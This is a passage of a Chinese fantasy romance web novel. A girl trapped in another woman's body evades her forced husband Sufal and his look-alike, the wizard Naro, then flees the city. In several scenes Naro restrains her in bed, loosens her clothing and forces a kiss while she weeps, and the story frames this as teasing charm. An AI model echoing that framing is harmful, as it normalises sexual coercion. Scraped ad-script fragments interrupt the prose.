果然不是每个人都有苏法尔的魔法天赋和过目不忘的本领,她得老老实实地一个字一个字记。 苏法尔一直都坐在沙发上看书,他时不时扭头看看床上的人,等到夜色浓重,他终于忍不住过去拿走了咪莉的书说:“该睡了。” 咪莉眼巴巴地看着她心爱的魔法书被拿走,也确实感觉到身体很疲惫,只好结束今天状态不佳的学习:“好吧。” 咪莉下床去洗浴室洗漱了一番,出来后爬上床,一直等候的苏法尔也去洗漱了。 咪莉钻进被子里打了个小小的哈欠,准备睡觉时,一个想法突然浮现出来——苏法尔也睡这张床吗? 11.红发流氓 咪莉心里咯噔一下,霎时清醒。 是啊,他们是结过婚的夫妻,睡觉不睡一起怎么可能? 可她不是伊瑞妮啊,这种事绝不能发生啊! 咪莉开始惴惴不安地在床上一直想法子怎么避免这种情况。 二十分钟后,苏法尔洗完澡出来了,他已经换了一身休闲居家的衣服,黑色的宽松长裤和一件白色圆领长袖,长长的裤腿堆叠到脚背上,头发半湿半干。 苏法尔见咪莉还没睡,而且还一副如临大敌的模样坐在那里,不禁疑惑,走过去问:“怎么还没睡?睡不着吗?” 他揉着潮湿的黑发准备在床边坐下,头发还没完全干,打算再看会儿书睡,结果屁股才刚挨着床单就被一只小脚踢搡着离开床位。 “我们不能睡一起。”咪莉把苏法尔踢走说着,她的力气当然没有这个男人大,而且还尚虚弱,确切来说是苏法尔配合了她的动作自己起开的。 苏法尔一头雾水,他的目光不自觉地在踢他的那只脚丫子上晃了晃:“为什么?” 咪莉又羞又怒:“都说了我失忆了,当然也忘记和你结婚的约定了,所以在我心里,我们并不是夫妻,不可以睡在一起。” 苏法尔面对女孩的话,没有和她争辩,他知道自己无论说什么,都得不到伊瑞妮的认同,如果逼急了,说不定又要陷入如何哄女孩子的烦恼状态里。 他不想给自己找麻烦。 一番思考下,苏法尔微笑说:“那好吧,你好好休息,不要看书了,我去旁边的偏殿里睡,夜里有什么事可以去喊我。” 苏法尔走得很爽快,临走时还帮忙把窗帘拉上了。 咪莉没想到苏法尔不为难她,等四周空荡荡的后,她才放松着躺下,开始回想自己和苏法尔昨天结婚的时候。 苏法尔铁了心要逼她结婚,却不会逼迫她做夫妻之间的其他事,除了一些偶尔的孩子气恶作剧,对她也算是温和相待,最终目标好像只是简简单单地举行个结婚仪式而已。 苏法尔究竟要做什么?和伊瑞妮之间的约定又是什么? 咪莉把沉重的脑袋靠在枕头上,一个一个疑问慢慢抛开,昏昏欲睡着,只是闭上眼睛没一会儿,她忽然想到,昨天她昏迷的晚上是不是就已经和苏法尔睡在一起了啊! 看苏法尔那家伙刚才洗完澡往床边坐的态度那么自然,显然不是第一次。 咪莉咬着唇在被子里捶床。 被这个惊悚的想法折磨着心神,咪莉也睡不着了,只好拿起床头的书继续默背咒语,背着背着她又想起今天苏法尔使用魔法时好像都没有念咒语,是直接催动魔法的。 能达到这种程度的要比大魔法师的修为还深,苏法尔这个男人是已经达到半神级别了吗? 那该是多么令人艳羡的实力啊。 咪莉伸出一根食指,在心里默念出她记得最为熟悉的一条火焰咒,然后集中精神凝聚一点点体内萦绕的魔法能量,片刻后,她的指尖便窜出一小指头大小的橘色火焰。 咪莉大喜,恨不得想把书上所有的咒语都尝试一遍,但考虑到身体承受度,她只玩了小会儿就停止试验,然后继续努力记熟咒语。 夜越来越深,厚重的窗帘遮着外面月光,堪比博物馆的大房子让咪莉觉得有点冷。 她缩在被子里已经困到意识不清,手里仍旧抓着那本魔法书,张张合合的唇内似乎还在默念着,直到床头的魔法灯球逐渐熄灭,室内迎来一片黑暗,她的手指一松,黑封书皮合上了,她也终于陷入了梦乡。 偌大的前庭蒙着一层水银色的清冷月光,整座宫殿就好像沉浮在海洋里的建筑朦朦胧胧。 庭中有一棵伞盖浓密的巨树,紫红色的小花朵上发着白莹莹的光,像是缀满了星星,枝丫间一阵晃动,从阴影里跳出个人落到地上。 他的黑袍在月色中犹为明显,一头顺至腰间的长发是血一般的殷红,黑色小高跟在走路时发出“咔哒咔哒”的轻音。 红发男人走到那扇巨大的飘窗前,额发下的一双桃花眼微微一弯,形成一个好看的弧度。 他的眼睛在笑着,可银色的眼瞳里一片冰漠凉薄,似乎穿透了玻璃窗和窗帘窥见了屋子里沉睡的女孩。 下一秒,还在屋子外面的他,已经出现在了女孩的床边,身形如鬼魅一样诡异。 他弯下腰,凑过去凝视着女孩睡颜,眼里似乎有些新奇,然后张开唇轻轻吹了口气。 睡得不怎么安稳的咪莉蹙起眉,被这股冰凉的风惊醒,但她没有睁开眼睛,只奇怪屋子里哪来的风,难道是窗户没关吗? 她将迷糊的眼睛缓缓眯开一条虚缝,黑压压的空间里随着时间慢慢映出一个人脸的轮廓来,更可怕的是对方还开口说话了:“睡得好香呢。” 咪莉惊恐失色,以为是苏法尔半夜回来吓人,忙起来把他推开:“苏法尔!你在做什么!” 床头的魔法灯也忽然应声亮起,照亮了室内,咪莉看清了床边的人,惊怒的脸庞顿时一怔,因为这人并不是她认为的苏法尔。 一个陌生男子悄无声息地出现在这里,而她浑然不觉,想想都恐怖。 咪莉很害怕,但她立刻跳下床光着脚质问对方:“你是谁?!” 可她心里又一阵异样,她觉得对方长得很像一个人。 男子露出一个轻佻的笑,一头长长的红发在灯光的映衬下变得有些缥缈迷蒙,他声音很动听,却带着阴鬼般的森森气息:“我是谁?我是大陆上最迷人的巫师,纳罗。” 他说完还对咪莉挑眉一笑,银白的眼瞳在夜里让人毛骨悚然。 “你是什么最迷人巫师就可以随便进女孩子房间吗!”咪莉气急败坏。 纳罗用一根食指点着自己的尖尖下巴,微微仰头,故作天真般疑惑:“女孩子房间吗?可是这里不是苏法尔的房间吗?” 他睁大眼睛,满是探究地凑近咪莉:“你为什么会在他的床上睡觉呢?你是他的女人吗?” 咪莉恨恨地咬牙:“不是!”反正她不承认和苏法尔的婚姻关系。 “所以你是来找苏法尔的?”咪莉又问他,她紧皱着眉观察了下对方,一身宽大的巫师袍,袖子里的那双手与其说是手,不如说是爪子,因为他的皮肤惨白,指甲又尖又长,透着恶魔的狠厉劲儿。 她见过巫师,虽然巫师身材比较羸弱气质也很忧郁,但绝没有见过这种满身妖孽恶魔味儿的流氓巫师。 流氓巫师摇摇头,又靠近一步,见女孩如被踩到脚般快速后退,他咯咯笑起,银白的眼眸眯成一条缝 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,倒比睁开眼时更顺眼。 “怕什么呀,我是巫师,不是恶魔,不吃人的。”纳罗好心安抚着浑身炸毛的女孩,但可惜他这副吊儿郎当的模样做安抚并不起作用。 咪莉瞪着他,指指外面:“苏法尔在隔壁那座殿里,你要找他去那里。” “我又没说是来找他的。”纳罗不满地噘嘴,然后又用那一副精光闪烁的眼眸直勾勾地看着咪莉,像极了要狩猎时露出的血光眼神。 不是找苏法尔那你来这里干嘛啊!闲着没事到处去人家屋子里遛弯儿吓人吗? 咪莉惊出一身战栗,双眸死死地瞪着对方:“那你来这里到底是为了什么?” 纳罗还是不回答她,又问了一遍:“你真的不是苏法尔的女人?哦对了,他好像结婚了,结婚对象是你吗?” 咪莉再次否认:“不是。” 苏法尔结婚对象是伊瑞妮,不是她,她只是个被使用了灵魂转换的倒霉鬼。 纳罗忽然靠近她,等她谨慎地要后退时,迅速伸手捉住了她的手腕,他拖着慵懒的调调笑着:“明明就是呢,骗人是不好的习惯,得改。” 他教着她,脸上笑盈盈,掌心里嫩滑的触感令他的手指忍不住微微收紧了些,原本还有空隙的手圈此刻已经肌肤紧贴。 咪莉脸色焦急,在他手里挣扎:“又不关你的事,你松开!” 这男人的力气很大,她只觉得自己的手像是被一个钢圈牢牢拷着,那冰冷的肌肤相触感更让她觉得像被尸鬼缠住了。 纳罗怡然自若地看着这暴躁跳脚的小丫头,另一只空闲的手掐在腰上,嘴里哎呀哎呀说:“好活泼呀。” 对方这种逗弄的态度令咪莉怒气值蹭蹭蹭往上涨,她随口默念出脑子里最为熟悉的一个火焰咒,聚集全身能量释放,一团熊熊火焰“嘭”地在她手心里窜出,然后她想也不想地将这团火扔向纳罗。 纳罗侧身一躲,眼里发出赞许:“不错呀,威力四射的火焰咒竟被你使出这么迷你的形状。” “……”咪莉更觉羞愧,恼羞成怒地朝对方出拳,一顿乱打,“流氓流氓臭流氓!小心出门栽跟头!” 大概是没怎么骂过人,咪莉的咒骂话语显然是小学生级别的,听得纳罗一阵阵哈哈大笑。 啊啊啊笑什么笑啊!你们厉害就可以嘲笑别人吗! 纳罗抓住那一只在他身上乱敲的拳头,虽然止住了笑,可眼角依旧是漫出来的笑意,他勾着唇,声音充满魅惑般的性感:“苏法尔不好,他不会爱人,你嫁给他会受伤的。” 咪莉也这么觉得,但她才不想和这个流氓来探讨苏法尔会不会爱人适不适合结婚这种不关她的事情,她压低怒声:“你到底想做什么?” 纳罗看了看床,又看看咪莉:“我来睡觉的呀,然后就看见床上有个你呢。” 咪莉深深皱眉:“你为什么来这里睡觉?” 纳罗的眼里透着点无辜,看着小脸皱成一团的咪莉说:“因为我一直都是睡这里的。” 这流氓说的话怎么越来越让人听不懂了?什么叫一直都是睡这里的?这不是苏法尔的房间吗? 咪莉一阵凌乱,她愣愣地看着眼前这个笑得妖娆的流氓男人,忽然觉得他这张脸实在眼熟,好像……好像苏法尔啊。 12.“他的老婆就是我的老婆” 咪莉这一夜睡得可谓一波三折。 因为这红发流氓不肯走,坚定这里是他的房间是他的床,却又否认自己是苏法尔。 更恐怖的是,他搂着咪莉说:“你是我老婆,当然要睡一起啦,不然怎么做生宝宝那种神圣的行为。” “喂你这混蛋,你说你不是苏法尔,那我当然不是你的老婆啊!” 被强制抱在流氓怀里的咪莉浑身发毛,像个被泥土埋住的萝卜一样拼命往上拔。 “虽然我不是苏法尔,但他的老婆就是我的老婆,他的伊瑞妮就是我的伊瑞妮。”纳罗理所当然地说着道德歪曲言论,咪莉听后的表情仿佛被雷劈了一般震撼。 可惜她过敏症状还没完全消退,又使用了大量精神魔法,最后体力不支地被摁在床上。 纳罗捏捏咪莉涨红的脸,尖尖的指甲也收了起来,没有戳到那吹弹可破的柔嫩脸蛋,喉咙里发出慵懒的哼哼:“睡吧睡吧,别折腾了。” 咪莉忿忿地瞪大眼睛,想挥拳,又被制住,她只好撇过脸去留给纳罗一个后脑勺,放弃抵抗。 纳罗躺在床上圈着她,她可以看到放在自己肩上的那只爪子,心里更气了,于是就张开嘴在那爪子上一咬。 “嗯……”纳罗发出吃痛的哼唧,但听起来似乎还带着些兴奋意味,他抱住咪莉的腰凑得更近,声音变得异常低沉,“伊瑞妮……你再这样,我可要欺负你了。” 你这混蛋已经欺负多少次了?咪莉正想怒骂他,却发现自己的睡裙带子不知道什么时候已经勾到那只罪恶的爪子里,衣领松落,胸前敞露出大片肌肤,甚至已经看见她的粉色蕾丝胸衣弧线。 “混蛋啊!你要是敢动我我就跟你拼了!”咪莉从来没有这么害怕过,一种脊髓发寒的恐惧感遍布全身,连尾音都不可抑制地颤巍巍。 纳罗把她的衣服带子一松,安抚性地摸摸她的脑袋:“不动不动,逗你的,睡觉吧,你出了一身汗,应该很累了。” 咪莉气喘吁吁地盯着他,仍旧一副做好和他拼命的决心,他自觉地收回在她身上的所有爪子靠在一边,眨眨似有冰雪飘落的银白眸子:“我也睡了,晚安。” 然后他就真的闭上了眼睛,纤长的睫毛在他精致的脸上落下一小片阴影,让他的五官更为深邃。 纳罗闭上眼睛的样子,让咪莉觉得和苏法尔更是一模一样,她带着满肚子疑惑不甘心地睡去,她没有精力再去反抗了,四肢的酸乏和疲倦感铺天盖地地充斥着她。 第二天一大早,咪莉就醒了,身体几乎恢复。 她扭头看见一个陌生的红发男人背影,不知道这家伙什么时候把衣服脱了,现在光着上身,下面和她同盖一张羽绒被子,她情绪低迷地又转回去头,两眼无神地看着天花板。 唉,除了奥倾哥哥以外的男人真可怕。 被子那边一阵窸窸窣窣,咪莉旁边的男人翻过来身,发出迷蒙的嗓音:“嗯?醒了吗?” 咪莉不愿意搭理他,打开朝她伸来的魔爪,起来去洗漱。 她出来后纳罗也已经起来了,还是没穿上衣,站在巨大的飘窗前享受着清晨曦光,他的身材健壮结实,肌肉发达,充满狂野与性感,披泻在后背的长发如他本人一样带着倦怠气,侧颜冷峻散漫,头顶翘起的几根发梢有金光闪烁。 纳罗回过身,浅浅一笑,笑容比外面的晨光还柔和,连带那双尖利的爪子也变得温顺,仿佛令咪莉看到了一只大型宠物:“我叫过早饭了,等会儿我们一起吃。” 这混蛋一早倒是神清气爽,是真的脸皮厚还是就这副性格?是怎么做出这种欺负人家还要和人家一起吃早餐的事情的? “你自己吃吧!”咪莉牙痒痒地说完顶着一张憔悴虚弱的严重睡眠不足脸就出去了,她去隔壁宫殿找苏法尔,但是没看到人,床铺也整整齐齐得像根本没人睡过的样子。 这里平时好像并没有什么侍卫守班,如果有侍卫出现那一定是为了看管她而存在。 但今天附近并没有任何侍卫,格雷也不在,她的逃跑想法还没冒出,纳罗那家伙的慵懒嗓音便响起:“伊瑞妮,不吃饭要跑哪儿去?” “我来找苏法尔的。”咪莉无语地瞅他一眼,“他去哪里了?” 纳罗已经穿上了那身黑色巫师袍,胸前别着一支四片三角形草叶的银色徽饰,大片的浓黑袍子衬得他那张脸越发苍白,唇却是意外得饱满红润,他的眼睛弯弯:“不知道呢,或许是出去做任务了,他总是喜欢到处跑。” 说到这儿他又忽然垂下眼,眸中银色星辰也随之黯淡,语气颇为难过:“你怎么只喜欢苏法尔不喜欢我呢?” 谁喜欢苏法尔啊。 “喂,你不要胡说,我才不会喜欢那个坏蛋!”咪莉像被泼了一身脏东西一样要急忙甩掉。 纳罗若有所思地看着她:“不喜欢苏法尔,那喜欢我吗?” 咪莉实在没耐心和他说这些,但她还是非常认真地说:“纳罗,这世界上不是只有你和苏法尔两个人可以让我喜欢的,比如还有其他人。” 纳罗追在咪莉后面问:“其他人会有谁?” 今天天气不错,吃完早餐后开始学习魔法,然后抽空找灵魂转换。 不是不想趁着苏法尔不在逃跑,但万一纳罗就是苏法尔变身来试探她的呢?虽然不清楚这样做的目的是什么,但她还是先把找灵魂转换魔法放在第一位。 咪莉在心里制定好计划,看也不看纳罗:“反正不会是你。” 纳罗伤心到语气都变得低沉了:“为什么?” 咪莉莫名想到苏法尔也问过她为什么讨厌他,纳罗和苏法尔真的不是一个人?明明长得一模一样。 “纳罗,你不是苏法尔,那你是他的双胞哥哥或者弟弟吗?”咪莉疑惑地问道。 “你还没回答我的问题,就问我了。”纳罗笑了笑,“这样吧,你先回答为什么不喜欢我,我再回答你我和苏法尔的关系。” 咪莉可以说出一百个不喜欢纳罗的理由,比如性格诡异、爱欺负她等,但她只沉默地看了纳罗三秒,然后面无表情地吐字:“爱说不说。” 她才不稀罕知道流氓和强盗两人之间的关系,她只想赶紧学习魔法然后用灵魂转换回到自己体内。 纳罗颓丧叹气,然后跟屁虫一样跟上去一起吃早餐。 用完早餐后,咪莉开始拿着书在书桌上学习,她重温了 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 一遍昨晚背诵的咒语,然后开始抄抄写写一些魔法纹和符号。 纳罗坐在沙发上百无聊赖,一会儿梳一梳自己那头张扬狂狷的红发,一会儿修一修自己的长指甲,或者摘下自己黑袍上别的那一支银光闪闪的四叶胸徽擦一擦,再规规矩矩地佩戴好。 最后他做完所有可做的事后,耐不住性子,起来过去把一心学习的咪莉拽起来。 咪莉恶声恶气:“干嘛?” 纳罗抓着她手腕往外走:“在屋里闷太久会发霉的,我们出去转转。” “不去,要去你自己去。”她学习劲儿正浓,才不想出去浪费时间。 纳罗挂上他一贯的妖孽笑容,邪恶的光芒在他眸中闪动:“不去的话那我们回房间做点生宝宝的事情?” 咪莉倒吸一口凉气:“你!无耻!”同时她也感觉到抓着自己的那只爪子正往里收力。 纳罗兴致高昂地拖着咪莉往房间里走:“伊瑞妮,你喜欢男孩儿还是女孩儿?” 咪莉拼命把这想一出是一出的流氓往外拉:“等等,我和你一起出去逛街。” 纳罗回头看着她,唇边露出一个暧昧的笑容:“可我现在不想出去逛了,我们还是进去……” “纳罗!”咪莉开始默念她最新学会的一个超强雷电,举起手来凝聚魔力就要施展,然后她被对方的大爪子捂住嘴巴,扣住手腕,往外面走。 “开玩笑的,伊瑞妮,那种事情还是晚上做比较有意境,怎么动不动就使用暴力呢。”纳罗半拖半抱地把唔唔呀呀说不出话的咪莉抱到他的坐骑上。 使用暴力的明明是你这个流氓啊! 咪莉看着身下这头黑翼龙磨牙,还说自己不是苏法尔,坐骑出卖了你好吗!龙一生可是只认一个主人的,尤其像黑翼龙这种就算主人死了它们也会随着陪葬的高度忠诚一族,小黑这傲慢无礼谁也看不上的傲娇性子这辈子肯定不会再认第二个主。 那么结果只有一个,纳罗就是苏法尔假扮的。 宏伟的深山宫殿逐渐缩成地图上的一个小点儿,纳罗的黑袍舞动得像恶魔翅膀,咪莉确定自己的想法后回头看他:“苏法尔,你到底想做什么?” 纳罗正眯眸望着远方层叠的斑斓云层,他听见女孩冰冷的问话后,低头也看向她,落满碎芒的额发扬起,英俊的脸庞蒙上莹润的天光云影:“伊瑞妮,我的名字叫纳罗,不是苏法尔,不要叫错人,我会伤心的。” 咪莉一肚子的火气忽然莫名小了些,就像灼灼的内脏被柔润凉爽的雨水拍打着,她从这个男人的眼中看出一丝哀伤,他在极力否认自己不是苏法尔,他的名字叫纳罗。 咪莉转过头去,憋闷了好久,指指小黑说:“那你的龙为什么和苏法尔的坐骑一样?” 纳罗抓了抓她乱舞的长发,他的爪子长长的,梳理起来方便得多,然后把她的长头发拢在手心用自己手腕上的一条红绳系住它们:“我不是说过吗?他的老婆就是我的老婆,他的一切都是我的,小黑自然也是。” 你赶紧掉下去摔个稀巴烂吧! 咪莉往前挪挪屁股,离纳罗半米远。 纳罗又把她捞回来,哈哈直笑:“坐一起嘛。” 13.“亲亲而已,别生气嘛” 一脸阴郁的咪莉跟着纳罗来到了曼努森的城中心。 这里的商街每天都拥挤热闹,一幢幢小阁楼充满生活气息,他们落了地后,小黑扭着尾巴便去其他地方撒欢了,不知道是不是又去约会见哪头母龙。 纳罗带咪莉来到了昨天的曼努森竞技城,咪莉忍不住无语:“你们男人真的很喜欢看比赛。” 纳罗笑了笑:“男人崇尚武力,争做强者,这是天性,就像女孩子天生喜爱令她们变美的一切事物。” “女孩子也希望变强的。”就像她一样,只有变强了,才不会被轻易杀死。 咪莉又想起自己被琉莎杀死的悲催事件,还没来得及叹气,就在大厅遇到了娜娜。 娜娜今天换了一身利落帅气的佣兵服,高腰长腿,英气逼人,时常爱笑的眼睛此刻睁得滚圆,不可置信地看着纳罗:“纳罗?” 纳罗眯眯眼笑:“嗯呢,是我。娜娜,有位子吗?我要带我老婆去看比赛。” 听闻此言的咪莉默默退开两步,拒绝“老婆”一词用在她身上,然后被纳罗的爪子勾过去揽住肩膀,动弹不得。 纳罗拱起眉头,略带委屈地看着一脸怒气的咪莉:“伊瑞妮,怎么可以嫌弃你老公?” 娜娜赶在咪莉大开杀戒前开口说:“有位子的,纳罗,你那间八号房一直都给你留着的,你们直接过去就行。” 纳罗谢过娜娜后,娜娜又叫住了他,一副吞吞吐吐的样子:“纳罗,团长呢?” 咪莉还是头一次见平常自信桀骜女王气概的娜娜也会有如此谨小慎微的时候,她不禁望向令娜娜害怕的男人。 纳罗淡然地说:“我出来了,他自然消失了。”然后他拉着咪莉朝左边那扇石门方向走去。 消失了是什么意思? 咪莉一头雾水地看着纳罗侧脸,从这个角度观看,那五官和苏法尔简直完美重叠。 “伊瑞妮,这么一直盯着男人的脸看,是勾引哦。”纳罗侧过来脸笑眯眯地说。 咪莉一脸鄙夷。 这真是一个自恋到家的男人啊,完全和苏法尔不像,如果是苏法尔假扮的,那演技是真好。 反正比她好。 对哦,苏法尔会不会就是识破她不是伊瑞妮,然后也想出这么一个法子来试探她呢? 咪莉的脑子已经不够用了,她不适合思考这么迂回的事情。 纳罗带咪莉来的是有裁判与规则的那一层。 看来纳罗喜欢看正常竞技,这点比苏法尔那个残忍变态强多了。 如此想着的咪莉,还没在包厢里坐稳,身后为她拉椅子的纳罗就说:“看完这一场,我们再去对面的那一层,那里可比这里的小孩儿过家家要精彩呢。” 咪莉差点从椅子上摔下去。 她不该对纳罗有什么改观想法的,她真是单纯啊! 不过咪莉还真想多看看这些比赛,她想多观摩一下别人的战斗方法,然后运用到自己身上。 底下是单人对战,两个都是人类,一个用的一把冷光乍现的巨剑,另一个则拿着一把黑色权杖,他们打斗的身影和招式极为绚丽,刀光剑影,魔法轰炸,看得咪莉目不转睛,无暇吃她喜欢的蝴蝶酥。 这时纳罗说:“魔法师适合远距离辅攻,能有这样强悍的近战能力也是不多见。” 咪莉认同地点头,两眼发出神往之色:“他真厉害,这个魔法师叫什么,你认识吗?” 纳罗不高兴地哼了一声,对自家老婆佩服别的男人感到非常不爽:“不知道。” 咪莉鄙视地瞅他一眼:“苏法尔都知道这里的人谁是谁。” 纳罗转过头去,看着外面的比赛,一言不发。 咪莉也没搭腔了,认真吸取战斗经验。 竞技台上两具身影噼里啪啦地互打。 没过一会儿,咪莉看向对面的纳罗。 那头张扬的红发披在肩后,耳边的碎发都拨去了耳朵后面,完美展露出那张英挺俊俏的脸,他的鼻子又高又窄,眼窝微深,睫毛半垂,隐约的眸子漫不经心。 但是,他好像在生气? 没想到表面这么霸气侧漏的流氓也会因为这种小事不理人。 哈哈! 咪莉像是发现了什么好玩的事情,拿起桌上被她遗忘的蝴蝶酥边吃边说:“苏法尔好像不用念咒语就能使用魔法,应该是半神级别,纳罗,你的修为到什么程度了?” 半神级的魔法师可跟稀有动物似的不多见,她不信眼前这个吊儿郎当的流氓也是。 纳罗终于肯和她说话了:“这有什么的。”然后他摊出一只手,手心里凝聚出一团黑色光芒朝底下的竞技场地扔去。 “嘭”的一声,巨大的圆形竞技石台瞬间被砸了个四分五裂的大坑,幸好上面两个选手和裁判反应迅速跳到安全的地方落脚才免于坠落,周围观众纷纷一脸惊恐,开始窃窃私语。 咪莉目瞪口呆地看着纳罗闹出来的动静,这种攻击性极强的魔法就算是大魔法师也必须念咒发挥,可纳罗不需要。 而且使用出来的属于黑暗系魔法,代表其本人阴暗冷血的性子。 这个没有公德心还恶意伤人的混蛋啊!如果那几个人反应不及时一定会掉下去,虽然坑不深,但也会被乱石击中。 咪莉不禁用指责的眼神瞪向纳罗,同时也对这个强大的男人产生了惧怕感,她不敢想象自己如果变成那碎裂石台的下场该有多凄惨。 “如何,我跟苏法尔相比,谁厉害?”纳罗这厮还毫无自觉,一脸得意地挑着眉尾,眼中似有星星闪烁。 咪莉在心里抹了把汗,但嘴硬:“苏法尔厉害。” 纳罗顿时臭脸起来,一瞬不瞬地盯着咪莉,眼眸里装载着复杂的情绪。 咪莉如坐针毡,硬着头皮就是不肯改口,她才不要顺这个流氓的意。 可她还是有些颤抖,不自觉地回想起刚刚纳罗使用的可怕招式。 “不理你了。”纳罗良久后赌气地扔出这句幼稚的话。 咪莉愣了愣,大概没料到明明浑身散发着危险气压的人忽然像个孩子一样转变。 她决定聊点其他什么话题化解下目前尴尬的气氛,想了想后,还是问出自己一直顾忌的问题:“纳罗,你知道灵魂转换这一项魔法吗?” “灵魂转换?”纳罗转头看向咪莉,“这是个比较棘手的魔法,怎么问这个?” 他的眼神微微犀利起来,咪莉喝了口红茶稳住心态说:“就是想问问,我问过苏法尔,他说不知道,我想你比他见多识广,应该了解。” 纳罗听后沉默了着,嘴角噙着意味不明的浅笑。 这女孩故意用苏法尔和他做比较。 他呵呵地笑了两声,笑得咪莉直发毛。 “你笑什么?”咪莉不明白地问他,又觉得对方其实已经察觉到她另有企图。 为什么她遇到的人都这么聪明? 纳罗虽然觉得咪莉的问题有所目的性,但他当然不知道此时伊瑞妮的体内是另一个人。 他单手托着下巴,另一只手的食指指甲在茶杯的杯沿打转:“伊瑞妮,用激将法不管用的,因为不管你怎么说,苏法尔就是比我低一头。” “是是是。”他比你低两头行吗?咪莉无聊地陪着他幼稚说,“那你 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 到底知道吗?” 纳罗喝了口茶,舔了舔唇边,徐徐讲起:“灵魂转换不仅拥有大魔法师的实力才能启动,还需要古老神秘的魔法阵配合。” 说到这儿他嘟了嘟嘴巴:“不过可惜,这个魔法阵已经失传了。” 咪莉张了张口,觉得伊瑞妮本事还挺大,竟然能弄到失传的魔法阵,那她得找机会再去伊瑞妮家里一趟找找有没有那个魔法阵。 但是伊瑞妮会把这么重要的魔法阵藏在家里吗? “伊瑞妮,你在想什么?”纳罗眯了眯眼,看着对面一脸严肃思考的女孩。 “啊,没什么,就是在想这世界上失传的魔法好像很多。”咪莉眨眨眼睛,露出一副求知的表情,“纳罗,你厉害,多给我讲讲那些稀奇的魔法吧。” 纳罗弯起唇角,收着指甲伸手在咪莉脸颊上揉了揉:“这会儿倒甜言蜜语起来了,伊瑞妮,你可真狡猾。” 咪莉打开他的手,不满地皱眉:“别乱动我。” “好吧。”纳罗乖乖地收回手,然后趁咪莉不注意又搓了搓她的脸,“真滑嫩呀,让老公亲一口。” 咪莉大羞,杀气澎湃,举手就开始念咒,火焰还没在她手里来得及成型,纳罗就已经如鬼魅一样瞬移到她身后,两条胳膊如冷蛇一样缠住她娇小的身子,使她举不起来手来:“伊瑞妮,亲亲而已,别生气嘛。” 他将脸低低地凑过去,唇角勾着,只是想轻轻地吻一吻女孩脸颊。 谁知她圆睁着水眸转过脸,他的唇恰好落在女孩唇上,软软的,像女孩子们喜爱的布丁零食。 他也微惊,冰银的瞳孔骤缩,却没有移开,他的心里有丝异样划过,使他情不自禁地双臂收紧,在咪莉愣怔之际逐渐加深了这个吻。 咪莉毫无防备,她因要说话是张口的状态,却让对方如此轻松进入她的口腔内,纳罗的气息如火焰般烧灼,她受惊地连连后退。 可她的身子被牢牢禁锢住,后脑勺也被纳罗扣住,当她的舌尖无处可躲触碰到纳罗的舌时,她像被触电了般大声呜咽起来。 她害怕极了,眼泪不可抑制地落满双颊,浑身颤抖着,她从来没有和任何一个男性有过这样亲密的接触,就连奥倾都只是抱一抱她,摸一摸她的头。 吻到湿咸的液体,纳罗才如梦初醒地退离,怀里的女孩睁大着泪眼,满是恐惧地望着他。 “放开!”然后她声音尖厉地大叫他松开。 纳罗没有动,他只是沉默地看着她,然后有些迷茫地说:“伊瑞妮,你真奇怪,我们不是夫妻吗?这样的事也不可以做吗?” 咪莉的泪落得很快,一颗一颗的,像透明的珠子,她咬牙切齿地说:“我说过我不是你老婆!我结婚的对象是苏法尔!你是纳罗!” 说完咪莉咬住了唇,没想到她需要靠承认自己是苏法尔妻子来让纳罗这个混蛋停止这种疯狂的可怕行为。 纳罗松开了咪莉,等咪莉要跑时他又抓住她的手腕说:“不是说你不是苏法尔的结婚对象吗?怎么现在又是了?” 纳罗的语气毫无起伏,咪莉挣扎着说:“就算我不是苏法尔妻子,也不会是你的,你不要闹了。” “这样吗……”纳罗像是自言自语般说着,脸上露出一种仿徨的神情,他此刻就像是个寻不到路的探索家,不知该往何处出发。 他的力气一松,咪莉就揉着自己手腕冲他哼了一声走掉,出门后还抬起胳膊厌恶地狠狠擦了擦嘴唇和脸上的泪水。 她的舌尖抵着上颚,似乎还能感受到纳罗留在她口中的冰冷气息,像刚落在脸庞的风霜冰雪,带有一丝丝甜气,却叫她冻得直哆嗦。 14.终于逃脱 等跑到一片人流渐少的住宅区后,咪莉才停下来喘着气,脸上的泪水早已干涸,留着一些浅浅的水痕,看起来有些狼狈。 她在心里痛骂了纳罗和苏法尔各自一百遍,至于为什么骂苏法尔,谁让他们两个长得一模一样呢? 咪莉用手心抹了抹脸,抹到一半她忽然意识到,纳罗没有追来。 她现在一个人,可以逃了。 咪莉狂喜,心几乎已经激动地冲出胸膛,她左右观察了一下地段,因为从小就负责家里进货的事情,需要跑许多地方,因此她地理方向辨别得很好。 这里是昨天经过的一条街,往前走的右拐角方向就是伊瑞妮的家。 她要先去伊瑞妮家里一趟,找一找有没有关于灵魂转换的蛛丝痕迹,然后再雇辆马车离开曼努森。 希望这期间纳罗不要找到她,还有那不知去向的苏法尔。 咪莉在伊瑞妮家里快速翻了一遍,书桌柜子床铺,能找的地方都找了,却没有任何线索,她怕纳罗找过来,只好放弃伊瑞妮这里,转头去找马车。 为了出逃顺利,咪莉带走了伊瑞妮家里的钱财和一些魔法书,把它们装在了一个包裹里带走,又从伊瑞妮衣柜里挑出一套比较破旧朴素的衣裙换上,披上一件兜帽斗篷,其他换洗衣服也一起装在包裹里。 她在靠着两条腿四处奔波的时候,忽然想起伊瑞妮的那条秀气银翼龙,但她不会召唤。 主人和坐骑宠物们不该有心电感应吗?她现在这么想小银龙,为什么不见小银龙甩着尾巴高兴地过来找她呢? 大概她体内的灵魂不是伊瑞妮吧,翼龙是很有灵性的高智慧种族,如果会说话,估计现在已经冲到苏法尔面前告诉他:“你老婆的身体现在被其他人的灵魂占用着!” 咪莉晃晃浮想联翩的脑子,找到一家驿站,雇了辆马车,还雇佣了一位叫古泽的年轻车夫,这些手续她都使用了化名莉莉。 然后古泽载着她往她的家乡——弗曼城区域的塔朗镇赶去。 这一天赶路出奇得顺利,没有任何人追来,风平浪静得像是坐着马车从外地旅行回家而已。 已经是晚上八点多钟了,天色黑得像墨汁,小石片铺满的平整大道上没什么行人和车马,前方五公里外就是一个城镇。 古泽告诉咪莉说,附近有个野外旅馆,可以先住下,明早再赶路。 咪莉本想让古泽直接去城里住一晚,但是见古泽一脸疲态并且用十分渴望的黑色大眼睛望着她,她就点头答应了。 